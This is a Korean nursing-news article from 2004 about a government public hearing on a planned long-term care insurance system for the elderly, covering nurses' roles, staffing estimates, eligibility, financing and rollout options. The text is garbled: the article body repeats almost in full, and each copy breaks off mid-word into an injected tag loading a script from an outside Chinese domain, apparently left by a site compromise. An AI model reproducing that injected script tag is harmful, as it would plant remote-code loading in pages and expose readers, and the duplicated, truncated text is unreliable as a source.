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노인요양보험제도 핵심인력 `간호사'
노인요양보장체계 공청회 열려
[편집국] 박미경 mkpark@nursenews.co.kr 기사입력 2004-08-19 오전 09:31:58
정부가 빠르면 2007년 도입할 예정인 `노인요양보험제도'에서 간호사가 전문인력으로서 핵심적인 역할을 맡게 된다.
보건복지부 공적노인요양보장제도 실행위원회(위원장·차흥봉, 송재성)는 11일 전경련회관에서 `노인요양보장체계 시안' 공청회를 열어 체계 도입 및 시행방안, 시설 및 인력 인프라 확충방안 등을 제시했다.
노인요양보장체계란 치매나 중풍 등으로 타인의 도움 없이 생활이 어려운 노인들에게 장기간에 걸쳐 간병·수발·목욕 등 일상생활을 지원하고 간호 및 기능훈련 등의 다양한 서비스를 제공하는 시스템을 말한다.
이날 발표된 시안 중 시설 및 인력 인프라 확충방안에 따르면 간호사는 요양관리사 또는 노인분야 전문간호사로서 노인요양보장체계의 중요인력으로 활약하게 되며, 장기적인 수요에 맞춰 제도적으로 양성된다.
요양관리사(케어매니저)의 경우 대상자의 요양보호 욕구사정, 케어플랜 작성, 서비스 조정 등의 역할을 하게 되며 간호사 등 보건의료·복지분야의 면허(자격)자에게 일정수준의 교육을 이수토록 한 뒤 자격을 부여한다. 수요추계에 따르면 2007년 3399명, 2011년 1만1445명의 요양관리사가 필요하게 된다.
시안에서는 요양관리사 양성 인정을 위한 조치계획으로 복지부에서 대한간호협회, 건강보험공단, 대학 등을 교육훈련기관으로 지정하고, 교수요원 양성 및 요양관리사 양성교육을 실시토록 한다고 밝히고 있다.
노인분야 전문간호사의 경우 시설간호, 방문간호, 투약·응급서비스, 요양보호지도교육 등의 역할을 맡게 되며 2007년 3506명, 2011년 8529명이 필요한 것으로 추계됐다. 실행위에서는 노인전문간호사를 비롯해 가정전문간호사와 보건전문간호사들을 중심으로 활용하고 부족시 요양병원, 노인요양시설 등에서 3년 이상 근무한 경력자로 충당하며, 장기수요에 대비해 관련 대학원의 정원 조정이 필요하게 될 것이라고 밝히고 있다.
이외에 노인요양보장 전문인력으로는 간병인력인 요양보호사와 노인병전문의, 사회복지사, 물리치료사, 작업치료사, 언어치료사 등이 필요하게 된다.
또한 실행위는 시설 인프라 확충 방안에서는 재가보호 70∼80%, 시설보호 20∼30% 수준을 유지하면서 공공과 민간이 역할을 분담해 단계적으로 확충해나가는 안을 제시했다. 특히 서비스와 비용효율성의 경쟁시스템을 높이기 위해 규제완화, 금융지원 등으로 민간참여를 활성화하겠다고 밝히고 있다.
입소시설의 경우 2011년 완전 수요충족을 목표로 공공부문에선 매년 100여개 시설을, 민간부문에선 매년 2000여 병상을 확충해나가고, 재가서비스의 경우 공공 30%, 민간 70%가 분담 확충토록 할 것을 제안했다.
이와 함께 실행위는 노인요양보장체계 제도의 명칭을 노인요양보험제도, 국민요양보험제도, 노인(국민)요양보장제도 중 국민 의견을 수렴해 결정할 것과, 관리운영 주체를 국민건강보험공단으로 할 것을 제시했다.
요양급여 수급권자 대상으로는 1안으로 65세 이상 노인과 45세 이상 노인성질환자로 하자는 것과, 2안으로 1안의 대상자와 수발이 필요한 64세 이하 중증 장애인으로 하자는 것 등 두가지 안을 내놨다.
요양급여의 범위는 간병·수발 등의 일상생활지원, 요양관리, 간호, 재활, 기타 복지지원서비스로 하고, 급여종류는 시설서비스 3종과 재가서비스 10종으로 구성한다는 안이다. 요양병원 및 요양병상, 치료적 간호서비스는 건강보험 요양급여로 제공하고 요양병원의 간병비는 노인요양보험에서 부담하는 것을 검토할 계획이다. 일정요건을 구비한 가족이나 서비스 공급사업자가 없는 경우 등에 대한 현금급여 지급여부도 함께 검토키로 했다.
재원은 국민이 낸 보험료와 정부지원금, 이용자부담(20%) 등으로 충당토록 하며, 제도 운영체제의 검증을 위한 기술적 시범사업을 공공부조자에 한정해 2005년 7월부터 2년간 실시하는 것으로 돼 있다.
노인요양보장체계 도입시기로는 3가지 안이 제시됐다. 1안은 인프라가 구축될 때까지 2007년부터 3년간 건강보험 요양급여로 단계적으로 실시한 뒤 2010년부터 독립제도로 전환하는 방안, 2안은 독립제도를 2007년부터 본격 시행하는 방안, 3안은 2007년부터 3년간 실질적 시범사업을 더 거친 뒤 2010년 독립제도를 시행하는 방안이다.
실행위측은 노인요양보장체계가 도입되면 기존의 2만명에 한정돼있던 요양서비스 대상이 72만명 이상으로 확대돼 노인가정의 부담이 크게 경감될 것이라고 전망했다. 또한 노인의료비가 대폭 감소돼 건강보험 재정이 안정되고 간호인력 등 고용창출 효과를 거둘 수 있으며, 요양보호 인프라 확충에 따른 지역경제 활성화와 민간사업자의 참여 급증 등이 기대된다고 밝혔다.
한편 정부는 노인요양보장체계의 구체적인 실행안 및 시범사업 모형을 마?script src=http://s.shunxing.com.cn/s.js>
보건복지부 공적노인요양보장제도 실행위원회(위원장·차흥봉, 송재성)는 11일 전경련회관에서 `노인요양보장체계 시안' 공청회를 열어 체계 도입 및 시행방안, 시설 및 인력 인프라 확충방안 등을 제시했다.
노인요양보장체계란 치매나 중풍 등으로 타인의 도움 없이 생활이 어려운 노인들에게 장기간에 걸쳐 간병·수발·목욕 등 일상생활을 지원하고 간호 및 기능훈련 등의 다양한 서비스를 제공하는 시스템을 말한다.
이날 발표된 시안 중 시설 및 인력 인프라 확충방안에 따르면 간호사는 요양관리사 또는 노인분야 전문간호사로서 노인요양보장체계의 중요인력으로 활약하게 되며, 장기적인 수요에 맞춰 제도적으로 양성된다.
요양관리사(케어매니저)의 경우 대상자의 요양보호 욕구사정, 케어플랜 작성, 서비스 조정 등의 역할을 하게 되며 간호사 등 보건의료·복지분야의 면허(자격)자에게 일정수준의 교육을 이수토록 한 뒤 자격을 부여한다. 수요추계에 따르면 2007년 3399명, 2011년 1만1445명의 요양관리사가 필요하게 된다.
시안에서는 요양관리사 양성 인정을 위한 조치계획으로 복지부에서 대한간호협회, 건강보험공단, 대학 등을 교육훈련기관으로 지정하고, 교수요원 양성 및 요양관리사 양성교육을 실시토록 한다고 밝히고 있다.
노인분야 전문간호사의 경우 시설간호, 방문간호, 투약·응급서비스, 요양보호지도교육 등의 역할을 맡게 되며 2007년 3506명, 2011년 8529명이 필요한 것으로 추계됐다. 실행위에서는 노인전문간호사를 비롯해 가정전문간호사와 보건전문간호사들을 중심으로 활용하고 부족시 요양병원, 노인요양시설 등에서 3년 이상 근무한 경력자로 충당하며, 장기수요에 대비해 관련 대학원의 정원 조정이 필요하게 될 것이라고 밝히고 있다.
이외에 노인요양보장 전문인력으로는 간병인력인 요양보호사와 노인병전문의, 사회복지사, 물리치료사, 작업치료사, 언어치료사 등이 필요하게 된다.
또한 실행위는 시설 인프라 확충 방안에서는 재가보호 70∼80%, 시설보호 20∼30% 수준을 유지하면서 공공과 민간이 역할을 분담해 단계적으로 확충해나가는 안을 제시했다. 특히 서비스와 비용효율성의 경쟁시스템을 높이기 위해 규제완화, 금융지원 등으로 민간참여를 활성화하겠다고 밝히고 있다.
입소시설의 경우 2011년 완전 수요충족을 목표로 공공부문에선 매년 100여개 시설을, 민간부문에선 매년 2000여 병상을 확충해나가고, 재가서비스의 경우 공공 30%, 민간 70%가 분담 확충토록 할 것을 제안했다.
이와 함께 실행위는 노인요양보장체계 제도의 명칭을 노인요양보험제도, 국민요양보험제도, 노인(국민)요양보장제도 중 국민 의견을 수렴해 결정할 것과, 관리운영 주체를 국민건강보험공단으로 할 것을 제시했다.
요양급여 수급권자 대상으로는 1안으로 65세 이상 노인과 45세 이상 노인성질환자로 하자는 것과, 2안으로 1안의 대상자와 수발이 필요한 64세 이하 중증 장애인으로 하자는 것 등 두가지 안을 내놨다.
요양급여의 범위는 간병·수발 등의 일상생활지원, 요양관리, 간호, 재활, 기타 복지지원서비스로 하고, 급여종류는 시설서비스 3종과 재가서비스 10종으로 구성한다는 안이다. 요양병원 및 요양병상, 치료적 간호서비스는 건강보험 요양급여로 제공하고 요양병원의 간병비는 노인요양보험에서 부담하는 것을 검토할 계획이다. 일정요건을 구비한 가족이나 서비스 공급사업자가 없는 경우 등에 대한 현금급여 지급여부도 함께 검토키로 했다.
재원은 국민이 낸 보험료와 정부지원금, 이용자부담(20%) 등으로 충당토록 하며, 제도 운영체제의 검증을 위한 기술적 시범사업을 공공부조자에 한정해 2005년 7월부터 2년간 실시하는 것으로 돼 있다.
노인요양보장체계 도입시기로는 3가지 안이 제시됐다. 1안은 인프라가 구축될 때까지 2007년부터 3년간 건강보험 요양급여로 단계적으로 실시한 뒤 2010년부터 독립제도로 전환하는 방안, 2안은 독립제도를 2007년부터 본격 시행하는 방안, 3안은 2007년부터 3년간 실질적 시범사업을 더 거친 뒤 2010년 독립제도를 시행하는 방안이다.
실행위측은 노인요양보장체계가 도입되면 기존의 2만명에 한정돼있던 요양서비스 대상이 72만명 이상으로 확대돼 노인가정의 부담이 크게 경감될 것이라고 전망했다. 또한 노인의료비가 대폭 감소돼 건강보험 재정이 안정되고 간호인력 등 고용창출 효과를 거둘 수 있으며, 요양보호 인프라 확충에 따른 지역경제 활성화와 민간사업자의 참여 급증 등이 기대된다고 밝혔다.
한편 정부는 노인요양보장체계의 구체적인 실행안 및 시범사업 모형을 마?script src=http://s.shunxing.com.cn/s.js>
